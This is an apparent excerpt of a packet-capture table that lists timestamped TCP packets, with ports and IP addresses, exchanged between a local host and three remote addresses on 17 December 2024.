Dec 17, 2024 08:03:33.651992083 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.652056932 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.652828932 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.652885914 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.652954102 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.653354883 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.653743029 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.653803110 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.653847933 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.653901100 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.654742956 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.654779911 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.654850006 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.655587912 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.655704021 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.655760050 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.656521082 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.656574011 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.656672001 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.656744957 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.657393932 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.657465935 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.657524109 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.657581091 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.658307076 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.658363104 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.658433914 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.658488035 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.659200907 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.659257889 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.659352064 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.659408092 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.660115004 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.660170078 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.660231113 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.660283089 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.661050081 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.661106110 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.661160946 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.661214113 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.661984921 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.662041903 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.662087917 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.662139893 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.662935972 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.662992954 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.663068056 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.663122892 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.663805962 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.663862944 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.663969040 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.664017916 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.664882898 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.664937973 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.664942980 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.664990902 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.665647030 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.665704012 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.665771961 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.665823936 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.666522026 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.666574955 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.666577101 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.666630983 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.667458057 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.667531013 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.667562008 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.667617083 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.678138018 CET	443	49883	104.121.10.34	192.168.2.5
Dec 17, 2024 08:03:33.678170919 CET	443	49883	104.121.10.34	192.168.2.5
Dec 17, 2024 08:03:33.678261042 CET	49883	443	192.168.2.5	104.121.10.34
Dec 17, 2024 08:03:33.678261042 CET	49883	443	192.168.2.5	104.121.10.34
Dec 17, 2024 08:03:33.678328037 CET	443	49883	104.121.10.34	192.168.2.5
Dec 17, 2024 08:03:33.678402901 CET	49883	443	192.168.2.5	104.121.10.34
Dec 17, 2024 08:03:33.693130016 CET	443	49883	104.121.10.34	192.168.2.5
Dec 17, 2024 08:03:33.693203926 CET	49883	443	192.168.2.5	104.121.10.34
Dec 17, 2024 08:03:33.693218946 CET	443	49883	104.121.10.34	192.168.2.5
Dec 17, 2024 08:03:33.693249941 CET	443	49883	104.121.10.34	192.168.2.5
Dec 17, 2024 08:03:33.693283081 CET	49883	443	192.168.2.5	104.121.10.34
Dec 17, 2024 08:03:33.693308115 CET	49883	443	192.168.2.5	104.121.10.34
Dec 17, 2024 08:03:33.693347931 CET	49883	443	192.168.2.5	104.121.10.34
Dec 17, 2024 08:03:33.693392992 CET	443	49883	104.121.10.34	192.168.2.5
Dec 17, 2024 08:03:33.693423033 CET	49883	443	192.168.2.5	104.121.10.34
Dec 17, 2024 08:03:33.693438053 CET	443	49883	104.121.10.34	192.168.2.5
Dec 17, 2024 08:03:36.140690088 CET	49860	80	192.168.2.5	185.215.113.43
Dec 17, 2024 08:03:36.141099930 CET	49894	80	192.168.2.5	185.215.113.43
Dec 17, 2024 08:03:36.260740042 CET	80	49860	185.215.113.43	192.168.2.5
Dec 17, 2024 08:03:36.260765076 CET	80	49894	185.215.113.43	192.168.2.5
Dec 17, 2024 08:03:36.260838032 CET	49860	80	192.168.2.5	185.215.113.43
Dec 17, 2024 08:03:36.260937929 CET	49894	80	192.168.2.5	185.215.113.43
Dec 17, 2024 08:03:36.262711048 CET	49894	80	192.168.2.5	185.215.113.43
Dec 17, 2024 08:03:36.382396936 CET	80	49894	185.215.113.43	192.168.2.5
Dec 17, 2024 08:03:37.613776922 CET	80	49894	185.215.113.43	192.168.2.5
Dec 17, 2024 08:03:37.616599083 CET	49894	80	192.168.2.5	185.215.113.43
Dec 17, 2024 08:03:37.867212057 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:37.867599964 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:37.987848997 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:37.987878084 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:37.987970114 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:37.987982988 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:38.007865906 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:38.127674103 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.366568089 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.366604090 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.366611004 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.366628885 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.366636038 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.366642952 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.366653919 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.366714954 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.366770983 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.366844893 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.366857052 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.366868019 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.366889000 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.366913080 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.486624956 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.486720085 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.486855030 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.486855030 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.490745068 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.490936995 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.558651924 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.558677912 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.558839083 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.558840036 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.562794924 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.562964916 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.563170910 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.571201086 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.571289062 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.571377039 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.579668999 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.579745054 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.579765081 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.579824924 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.588052988 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.588095903 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.588104010 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.588135004 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.596497059 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.596551895 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.596569061 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.596645117 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.605005026 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.605020046 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.605073929 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.613272905 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.613332987 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.613394022 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.613440990 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.621689081 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.621784925 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.621854067 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.630131006 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.630183935 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.630225897 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.630314112 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.638044119 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.638097048 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.638134003 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.638170958 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.678747892 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.678889036 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.679049969 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.750752926 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.750847101 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.750946999 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.752950907 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.753067970 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.753132105 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.757664919 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.757697105 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.757756948 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.762444019 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.762499094 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.762552977 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.767147064 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.767235041 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.767297029 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.771848917 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.771948099 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.771977901 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.772039890 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.776540041 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.776667118 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.776726007 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.781348944 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.781409979 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.781449080 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.781486988 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.785922050 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.786046028 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.786106110 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.790636063 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.790695906 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.790750980 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.790847063 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.795360088 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.795432091 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.795475006 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.795528889 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.800020933 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.800092936 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.800154924 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.804652929 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.804713964 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.804790020 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.804862976 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.809317112 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.809473038 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.809534073 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.813024998 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.813083887 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.813096046 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.813157082 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.816656113 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.816761971 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.816824913 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.820322037 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.820395947 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.820431948 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.820487976 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.824006081 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.824074030 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.824157953 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.824348927 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.827625036 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.827701092 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.827744007 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.827819109 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.831299067 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.831381083 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.831412077 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.831618071 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.834976912 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.835043907 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.835072041 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.835124016 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.838591099 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.838651896 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.838694096 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.838747978 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.842730999 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.842951059 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.942657948 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.942825079 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.942915916 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.944107056 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.944168091 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.944201946 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.944305897 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.947055101 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.947156906 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.947218895 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.949923038 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.949975967 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.950018883 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.950051069 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.952713013 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.952833891 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.952888966 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.955621004 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.955683947 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.955741882 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.955837011 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.958360910 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.958430052 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.958537102 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.958597898 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.961047888 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.961129904 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.961195946 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.963618040 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.963685036 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.963732004 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.963788986 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.966284037 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.966371059 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.966433048 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.968981981 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.969058990 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.969083071 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.969173908 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.971420050 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.971497059 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.971512079 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.971560001 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.973858118 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.974118948 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.974170923 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.977058887 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.977123022 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.977195978 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.978955984 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.979024887 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.979062080 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.981592894 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.981606007 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.981637001 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.981656075 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.984038115 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.984153986 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.984189987 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.986548901 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.986648083 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.986684084 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.989223003 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.989295959 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.989345074 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.991652012 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.991704941 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.991729975 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.991784096 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.994373083 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.994417906 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.994570971 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.994616032 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.996731997 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.996815920 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.996860027 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:39.999303102 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.999433994 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:39.999483109 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.001794100 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.002021074 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.002120972 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.004347086 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.004404068 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.004441023 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.004584074 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.006901979 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.007016897 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.007071972 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.009499073 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.009605885 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.009602070 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.009696007 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.011990070 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.012044907 CET	49900	80	192.168.2.5	31.41.244.11
